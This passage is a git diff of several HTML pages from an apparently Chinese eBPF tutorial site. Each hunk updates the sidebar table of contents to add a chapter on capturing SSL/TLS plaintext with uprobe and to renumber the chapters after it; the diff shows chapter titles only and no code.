diff --git a/0-introduce/index.html b/0-introduce/index.html index 23ce388..ca1f462 100644 --- a/0-introduce/index.html +++ b/0-introduce/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/1-helloworld/index.html b/1-helloworld/index.html index 1780595..c1bc57f 100644 --- a/1-helloworld/index.html +++ b/1-helloworld/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/10-hardirqs/index.html b/10-hardirqs/index.html index a107e47..0e3a1f5 100644 --- a/10-hardirqs/index.html +++ b/10-hardirqs/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/11-bootstrap/index.html b/11-bootstrap/index.html index c8d0f7a..2e9be41 100644 --- a/11-bootstrap/index.html +++ b/11-bootstrap/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/13-tcpconnlat/index.html b/13-tcpconnlat/index.html index e9d438a..2a0a774 100644 --- a/13-tcpconnlat/index.html +++ b/13-tcpconnlat/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/14-tcpstates/index.html b/14-tcpstates/index.html index a656b69..562e979 100644 --- a/14-tcpstates/index.html +++ b/14-tcpstates/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/15-javagc/index.html b/15-javagc/index.html index 91935b8..6fd40b1 100644 --- a/15-javagc/index.html +++ b/15-javagc/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/16-memleak/index.html b/16-memleak/index.html index 6055759..97eeaef 100644 --- a/16-memleak/index.html +++ b/16-memleak/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 